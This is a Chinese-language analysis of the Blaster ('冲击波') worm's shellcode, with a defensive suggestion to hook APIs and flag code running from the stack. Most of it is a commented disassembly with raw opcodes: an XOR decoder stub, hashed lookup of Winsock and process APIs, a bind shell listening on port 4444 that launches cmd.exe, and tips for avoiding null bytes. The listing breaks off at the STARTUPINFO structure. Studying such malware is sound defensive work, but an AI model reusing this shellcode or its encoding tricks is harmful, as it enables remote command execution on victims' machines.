2年前“冲击波”病毒爆发时,我曾经对它的SHELLCODE进行过分析,现在把我当时写的分析献出来,
让大家看看“一代名毒”是怎样的。一般来说,shellcode都是这样写的,因此只要hookshellcode必须调用的api,判断esp和eip
的差值如果在0x1000以内(也就是说代码在堆栈里运行),那么基本上可以确认系统受到缓冲区溢出攻击,该进程必须马上退出。
当然,有些更厉害的shellcode采用直接调用nativeapi,rawsocket收发包等技术,hookapi监视缓冲区溢出攻击的方法就不灵了,
要考虑其他方法,但这样写shellcode,它的体积必然很大,而且各个系统很难通用,也有它的缺陷。
;在exploit中由于不能有0和5C字符存在,所以写代码时要注意,因为很多代码都是有0的,比如
;movecx,8的机器码是b908000000有3个0,所以必须改为xorecx,ecx/movcl,8或push8/popecx或xorecx,ecx--subecx,-8
:0040100090nop
:0040100190nop
:0040100290nop
:00401003EB19jmp0040101E
:004010055Epopesi;esi=00401023,从00401023地址开始的代码将要被还原,实际上esi指向的地址在堆栈中是不固定的
:0040100631C9xorecx,ecx
:0040100881E989FFFFFFsubecx,FFFFFF89==-77;ecx=77h
:0040100E813680BF3294xordwordptr[esi],9432BF80;还原从00401023开始被加密的代码
:0040101481EEFCFFFFFFsubesi,FFFFFFFC;addesi,4
:0040101AE2F2loop0040100E
:0040101CEB05jmp00401023;还原已经完成,跳到被还原的代码处执行
:0040101EE8E2FFFFFFcall00401005;这条指令相当于push00401023,jmp00401005两条指令的集合
;此处开始的代码已经被还原:
:0040102383EC34subesp,00000034
:004010268BF4movesi,esp;esi-->变量表
:00401028E847010000call00401174;eax=77e40000h=hkernel32
:0040102D8906movdwordptr[esi],eax
:0040102FFF36pushdwordptr[esi];=77e40000h
:00401031688E4E0EECpushEC0E4E8E;LoadLibraryA字符串的自定义编码
:00401036E861010000call0040119C
:0040103B894608movdwordptr[esi+08],eax;=77e605d8h
:0040103EFF36pushdwordptr[esi];=77e40000h
:0040104068ADD905CEpushCE05D9AD;WaitForSingleObject字符串的自定义编码
:00401045E852010000call0040119C
:0040104A89460Cmovdwordptr[esi+0C],eax;=77e59d5bh
:0040104D686C6C0000push00006C6C
:004010526833322E64push642E3233
:00401057687773325Fpush5F327377;"ws2_32.dll"
:0040105C54pushesp;esp-->"ws2_32.dll"
:0040105DFF5608callLoadLibraryA-->ws2_32.dll
:00401060894604movdwordptr[esi+04],eax;=71a20000h(ws2_32.dll在内存里的地址)
:00401063FF36pushdwordptr[esi];=77e40000h
:004010656872FEB316push16B3FE72;CreateProcessA字符串的自定义编码
:0040106AE82D010000call0040119C
:0040106F894610movdwordptr[esi+10],eax
:00401072FF36pushdwordptr[esi];=77e40000h
:00401074687ED8E273push73E2D87E;ExitProcess字符串的自定义编码
:00401079E81E010000call0040119C
:0040107E894614movdwordptr[esi+14],eax
:00401081FF7604push[esi+04];=71a20000h
:0040108468CBEDFC3Bpush3BFCEDCB;WSAStartup字符串的自定义编码
:00401089E80E010000call0040119C
:0040108E894618movdwordptr[esi+18],eax
:00401091FF7604push[esi+04];=71a20000h
:0040109468D909F5ADpushADF509D9;WSASocketA字符串的自定义编码
:00401099E8FE000000call0040119C
:0040109E89461Cmovdwordptr[esi+1C],eax
:004010A1FF7604push[esi+04];=71a20000h
:004010A468A41A70C7pushC7701AA4;bind字符串的自定义编码
:004010A9E8EE000000call0040119C
:004010AE894620movdwordptr[esi+20],eax
:004010B1FF7604push[esi+04];=71a20000h
:004010B468A4AD2EE9pushE92EADA4;listen字符串的自定义编码
:004010B9E8DE000000call0040119C
:004010BE894624movdwordptr[esi+24],eax
:004010C1FF7604push[esi+04];=71a20000h
:004010C468E5498649push498649E5;accept字符串的自定义编码
:004010C9E8CE000000call0040119C
:004010CE894628movdwordptr[esi+28],eax
:004010D1FF7604push[esi+04];=71a20000h
:004010D468E779C679push79C679E7;closesocket字符串的自定义编码
:004010D9E8BE000000call0040119C
:004010DE89462Cmovdwordptr[esi+2C],eax
:004010E133FFxoredi,edi
:004010E381EC90010000subesp,00000190;在堆栈里分配临时空间0x190字节
:004010E954pushesp
:004010EA6801010000push00000101;wsock1.1
:004010EFFF5618callWSAStartup;启动WINSOCK1.1库
:004010F250pusheax=0
:004010F350pusheax=0
:004010F450pusheax=0
:004010F550pusheax=0
:004010F640inceax=1
:004010F750pusheax=1
:004010F840inceax=2
:004010F950pusheax=2;esp-->2,1,0,0,0,0
:004010FAFF561CcallWSASocketA;建立用于监听的TCPSOCKET
:004010FD8BD8movebx,eax=010ch
:004010FF57pushedi=0
:0040110057pushedi=0
:00401101680200115Cpush5C110002;port=4444;sockaddr_in结构没有填好,少了4字节
:004011068BCCmovecx,esp;ecx-->0200115c0000000000000000
:004011086A16push00000016h;这个参数应该是10h
:0040110A51pushecx;ecx-->0200115c000000000000000
:0040110B53pushebx;hsocket
:0040110CFF5620callbind;绑定4444端口
:0040110F57pushedi=0
:0040111053pushebx;hsocket
:00401111FF5624calllisten;4444端口开始进入监听状态
:0040111457pushedi=0
:0040111551pushecx=0a2340;这个参数好象有问题,可以是0
:0040111653pushebx;hsocket
:00401117FF5628callaccept;接受攻击主机的连接,开始接收对方传来的DOS命令
:0040111A8BD0movedx,eax=324h,handleofsockettotranslate
:0040111C6865786500push00657865
:0040112168636D642Epush2E646D63;"cmd.exe"
:00401126896630movdwordptr[esi+30],esp-->"cmd.exe"
PROCESS_INFORMATIONSTRUCT
hProcessDWORD?
hThreadDWORD?
dwProcessIdDWORD?
dwThreadIdDWORD?
PROCESS_INFORMATIONENDS
STARTUPINFOSTRUCT
00cbDWORD?;44h
04lpReservedDWORD?
08lpDesktopDWORD?
0clpTitleDWORD?
10dwXDWORD?
14dwYDWORD?
18dwXSizeDWORD?
1cdwYSizeDWORD?
20dwXCountCharsDWORD?
24dwYCountCharsDWORD?
28dwFillAttributeDWORD?
2cdwFlagsDWORD?;100h,setSTARTF_USESTDHANDLESflags